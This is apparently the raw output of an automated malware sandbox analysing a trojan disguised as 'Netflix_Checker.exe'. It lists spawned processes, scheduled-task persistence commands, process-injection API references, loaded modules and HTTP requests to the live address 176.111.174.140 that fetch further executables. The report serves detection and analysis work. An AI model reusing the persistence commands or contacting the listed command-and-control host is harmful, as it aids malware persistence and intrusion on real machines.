00000000-00005736-49315-55-009536C1 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00005736-49315-55-009536C1 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00005736-49315-55-009536C1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-77-0094C56B Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-94-009495FE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005736-49315-94-009495FE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-123-00952C76 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005736-49315-123-00952C76 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00005736-49315-156-009451C0 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00005736-49315-156-009451C0 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00005736-49315-156-009451C0 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00005736-49315-156-009451C0 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00005736-49315-156-009451C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-221-0095257B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005736-49315-221-0095257B Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-304-00957498 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005736-49315-304-00957498 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-327-009522A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-344-00944658 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005736-49315-344-00944658 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-362-009419D6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005736-49315-362-009419D6 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005736-49315-363-00941A4D Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005736-49315-363-00941A4D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005736-49315-524-009445A22b:Tb54,Spawned process "svcwhost.exe" (UID: 00000000-00005968) Spawned process "Netflix_Checker.exe" (UID: 00000000-00006396) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{3E3C ..." (UID: 00000000-00004584), Spawned process "WerFault.exe" with commandline "-pss -s 440 -p 6396 -ip 6396" (UID: 00000000-00004356), Spawned process "WerFault.exe" with commandline "-u -p 6396 -s 1072" (UID: 00000000-00004956), Spawned process "WerFault.exe" with commandline "-u -p 6396 -s 1072" (UID: 00000000-00008036), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068 ..." (UID: 00000000-00007672) Spawned process "relog.exe" (UID: 00000000-00002932) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "hrxmx1BJRn" /tr "%APPDATA%\\Adobe\\Service ..." (UID: 00000000-00000696), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Identities\\Se ..." (UID: 00000000-00005660) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Macromedia\\Se ..." (UID: 00000000-00004988), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Microsoft\\Ser ..." (UID: 00000000-00007376) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Mozilla\\Servi ..." (UID: 00000000-00005884), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Sun\\Service_S ..." (UID: 00000000-00005868) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Wireshark\\Ser ..." (UID: 00000000-00008856), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{3E3CE09031442 ..." (UID: 00000000-00009000) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{A068533DBF097 ..." (UID: 00000000-00008420), Spawned process "492C.tmp.PPGcgnyW.exe" (UID: 00000000-00006496), Spawned process "4CA8.tmp.PPGcgnyW.exe" (UID: 00000000-00008116), Spawned process "cmd.exe" with commandline "/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr ..." (UID: 00000000-00005012), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\tmp62BF.tmp.bat""" (UID: 00000000-00007832), Spawned process "61B7.tmp.nikzbi.exe" (UID: 00000000-00004980), Spawned process "cmd.exe" with commandline "/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr ..." (UID: 00000000-00005932), Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00000000-00002408), Spawned process "schtasks.exe" with commandline "schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr ' ..." (UID: 00000000-00007128)2c:Tb54,Spawned process "svcwhost.exe" (UID: 00000000-00005968) Spawned process "Netflix_Checker.exe" (UID: 00000000-00006396) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{3E3C ..." (UID: 00000000-00004584), Spawned process "WerFault.exe" with commandline "-pss -s 440 -p 6396 -ip 6396" (UID: 00000000-00004356), Spawned process "WerFault.exe" with commandline "-u -p 6396 -s 1072" (UID: 00000000-00004956), Spawned process "WerFault.exe" with commandline "-u -p 6396 -s 1072" (UID: 00000000-00008036), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "SystemServicesTools" /tr "%APPDATA%\\{A068 ..." (UID: 00000000-00007672) Spawned process "relog.exe" (UID: 00000000-00002932) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "hrxmx1BJRn" /tr "%APPDATA%\\Adobe\\Service ..." (UID: 00000000-00000696), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Identities\\Se ..." (UID: 00000000-00005660) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Macromedia\\Se ..." (UID: 00000000-00004988), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Microsoft\\Ser ..." (UID: 00000000-00007376) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Mozilla\\Servi ..." (UID: 00000000-00005884), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Sun\\Service_S ..." (UID: 00000000-00005868) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\Wireshark\\Ser ..." (UID: 00000000-00008856), Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{3E3CE09031442 ..." (UID: 00000000-00009000) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "kDZOKqN6ld" /tr "%APPDATA%\\{A068533DBF097 ..." (UID: 00000000-00008420), Spawned process "492C.tmp.PPGcgnyW.exe" (UID: 00000000-00006496), Spawned process "4CA8.tmp.PPGcgnyW.exe" (UID: 00000000-00008116), Spawned process "cmd.exe" with commandline "/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr ..." (UID: 00000000-00005012), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\tmp62BF.tmp.bat""" (UID: 00000000-00007832), Spawned process "61B7.tmp.nikzbi.exe" (UID: 00000000-00004980), Spawned process "cmd.exe" with commandline "/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr ..." (UID: 00000000-00005932), Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00000000-00002408), Spawned process "schtasks.exe" with commandline "schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr ' ..." (UID: 00000000-00007128)2d:Tbc1,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00006396-00000C25-941956329] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00006396-00000C25-942331096] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00006396-00000C25-942419276] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006396-00000C25-942485248] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00006396-00000C25-942653802] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00006396-00000C25-942710001] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006396-00000C25-942802209] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00006396-00000C25-942898126] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00006396-00000C25-943029816] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00006396-00000C25-943169782] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00006396-00000C25-943491700] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00006396-00000C25-943554410] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00006396-00000C25-943921916] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00006396-00000C25-944281359] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00006396-00000C25-944771963] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006396-00000C25-944928344] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006396-00000C25-944979220] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00006396-00000C25-945001592] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll" [Source: 00000000-00006396-00000C25-945128193]2e:T486,Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae")2f:T18b8,"ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 73fe0000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 73fe0000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 73fe0000 "ee5db.Trojan.exe" loaded module "KERNEL32" at base 76030000 "ee5db.Trojan.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72b00000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 73fe0000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 73fe0000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 73fe0000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 73fe0000 "ee5db.Trojan.exe" loaded module "KERNEL32.DLL" at base 76030000 "ee5db.Trojan.exe" loaded module "NTDLL.DLL" at base 77070000 "ee5db.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 739e0000 "ee5db.Trojan.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 76020000 "svcwhost.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f8a40000 "svcwhost.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base f8a40000 "svcwhost.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base f8a40000 "svcwhost.exe" loaded module "KERNEL32" at base fb140000 "svcwhost.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base df8b0000 "svcwhost.exe" loaded module "RPCRT4.DLL" at base fb020000 "svcwhost.exe" loaded module "SSPICLI.DLL" at base f8480000 "svcwhost.exe" loaded module "KERNEL32.DLL" at base fb140000 "svcwhost.exe" loaded module "NTDLL.DLL" at base fc230000 "svcwhost.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base fb140000 "Netflix_Checker.exe" loaded module "KERNEL32" at base 76030000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 73fe0000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 73fe0000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 73fe0000 "Netflix_Checker.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 765a0000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 73fe0000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 73fe0000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 73fe0000 "Netflix_Checker.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72b00000 "Netflix_Checker.exe" loaded module "ADVAPI32.DLL" at base 74860000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72990000 "Netflix_Checker.exe" loaded module "SHLWAPI.DLL" at base 74af0000 "Netflix_Checker.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76020000 "Netflix_Checker.exe" loaded module "VERSION.DLL" at base 73710000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 721e0000 "Netflix_Checker.exe" loaded module "USER32.DLL" at base 74970000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 73fe0000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "Netflix_Checker.exe" loaded module "MSCOREE.DLL" at base 72a20000 "Netflix_Checker.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76350000 "Netflix_Checker.exe" loaded module "PSAPI.DLL" at base 76dd0000 "Netflix_Checker.exe" loaded module "KERNEL32.DLL" at base 76030000 "Netflix_Checker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70a90000 "Netflix_Checker.exe" loaded module "RPCRT4.DLL" at base 73b40000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "Netflix_Checker.exe" loaded module "OLE32.DLL" at base 73c90000 "Netflix_Checker.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73540000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76350000 "Netflix_Checker.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73fe0000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72080000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "Netflix_Checker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 70030000 "Netflix_Checker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f810000 "Netflix_Checker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f700000 "Netflix_Checker.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6ef80000 "Netflix_Checker.exe" loaded module "NTDLL.DLL" at base 77070000 "Netflix_Checker.exe" loaded module "SHELL32.DLL" at base 74b50000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "Netflix_Checker.exe" loaded module "BCRYPT.DLL" at base 72e10000 "Netflix_Checker.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72030000 "Netflix_Checker.exe" loaded module "IMM32.DLL" at base 765a0000 "Netflix_Checker.exe" loaded module "COMCTL32.DLL" at base 71fa0000 "Netflix_Checker.exe" loaded module "GDI32.DLL" at base 73fb0000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "Netflix_Checker.exe" loaded module "UXTHEME.DLL" at base 73540000 "Netflix_Checker.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ee70000 "Netflix_Checker.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 7603000030:T168e,Process "svcwhost.exe" (UID: 00000000-00005968) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "svcwhost.exe" (UID: 00000000-00005968) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00004584) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00004584) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "schtasks.exe" (UID: 00000000-00007672) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00007672) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "schtasks.exe" (UID: 00000000-00000696) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "492C.tmp.PPGcgnyW.exe" (UID: 00000000-00006496) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "492C.tmp.PPGcgnyW.exe" (UID: 00000000-00006496) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, PROMPT, FPS_BROWSER_USER_PROFILE_STRING" Process "cmd.exe" (UID: 00000000-00005012) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00005012) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "61B7.tmp.nikzbi.exe" (UID: 00000000-00004980) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "61B7.tmp.nikzbi.exe" (UID: 00000000-00004980) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00005932) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00005932) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "timeout.exe" (UID: 00000000-00002408) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004184) was launched with missing environment variables: "PROMPT" Process "timeout.exe" (UID: 00000000-00008844) was launched with new environment variables: "PROMPT="$P$G"" Process "7502.tmp.schuste.exe" (UID: 00000000-00006816) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "7502.tmp.schuste.exe" (UID: 00000000-00006816) was launched with missing environment variables: "PROMPT, PROCESSOR_ARCHITEW6432" Process "7502.tmp.schuste.exe" (UID: 00000000-00009140) was launched with new environment variables: "_MEIPASS2="%TEMP%\_MEI68162"" Process "cmd.exe" (UID: 00000000-00009192) was launched with new environment variables: "PROMPT="$P$G", PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00009192) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "cmd.exe" (UID: 00000000-00009192) was launched with missing environment variables: "_MEIPASS2" Process "gbztuy.exe" (UID: 00000000-00008120) was launched with new environment variables: "PSExecutionPolicyPreference="Bypass"" Process "gbztuy.exe" (UID: 00000000-00008120) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "cmd.exe" (UID: 00000000-00007116) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "cmd.exe" (UID: 00000000-00007116) was launched with missing environment variables: "PSExecutionPolicyPreference" Process "cgyskb.exe" (UID: 00000000-00007156) was launched with new environment variables: "PSExecutionPolicyPreference="Bypass"" Process "cgyskb.exe" (UID: 00000000-00007156) was launched with modified environment variables: "PSModulePath, PATHEXT" Process "schtasks.exe" (UID: 00000000-00005620) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00005620) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00006484) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00006484) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "Service_Macromedia.exe" (UID: 00000000-00007944) was launched with modified environment variables: "PSModulePath" Process "Service_Macromedia.exe" (UID: 00000000-00007944) was launched with missing environment variables: "PSExecutionPolicyPreference" Process "schtasks.exe" (UID: 00000000-00008940) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00008940) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "Service_Microsoft.exe" (UID: 00000000-00007896) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "Service_Microsoft.exe" (UID: 00000000-00007896) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00006736) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "schtasks.exe" (UID: 00000000-00006736) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"31:T148d,Contains base64 string in header "140Cache" in header "GET /event.php HTTP/1.1User-Agent: Mozilla/5.0Host: 176.111.174.140Cache-Control: no-cache" Contains base64 string in header "pack" in header "GET /api/update.pack HTTP/1.1User-Agent: NIKMOKHost: 176.111.174.140Cache-Control: no-cache" Contains base64 string in header "140Cache" in header "GET /api/update.pack HTTP/1.1User-Agent: NIKMOKHost: 176.111.174.140Cache-Control: no-cache" Contains base64 string in header "/api/update2" in header "GET /api/update2.pack HTTP/1.1User-Agent: NIKMOKHost: 176.111.174.140Cache-Control: no-cache" Contains base64 string in header "pack" in header "GET /api/update2.pack HTTP/1.1User-Agent: NIKMOKHost: 176.111.174.140Cache-Control: no-cache" Contains base64 string in header "140Cache" in header "GET /api/update2.pack HTTP/1.1User-Agent: NIKMOKHost: 176.111.174.140Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "/api" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "cacheContent" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "type" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "POST" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 41" Contains base64 string in header "/api" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 41" Contains base64 string in header "cacheContent" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 41" Contains base64 string in header "type" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 41" Contains base64 string in header "DiamotrixContent" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 41" Contains base64 string in header "POST" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 4" Contains base64 string in header "/api" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 4" Contains base64 string in header "cacheContent" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 4" Contains base64 string in header "type" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 4" Contains base64 string in header "DiamotrixContent" in header "POST /api.php?{A068533DBF09758809014} HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: DiamotrixContent-Length: 4" Contains base64 string in header "cacheContent" in header "GET /PPGcgnyW.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "type" in header "GET /PPGcgnyW.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Diamotrix" Contains base64 string in header "cacheContent" in header "GET /nikzbi.exe HTTP/1.1Host: 176.111.174.140Pragma: no-cacheContent-type: 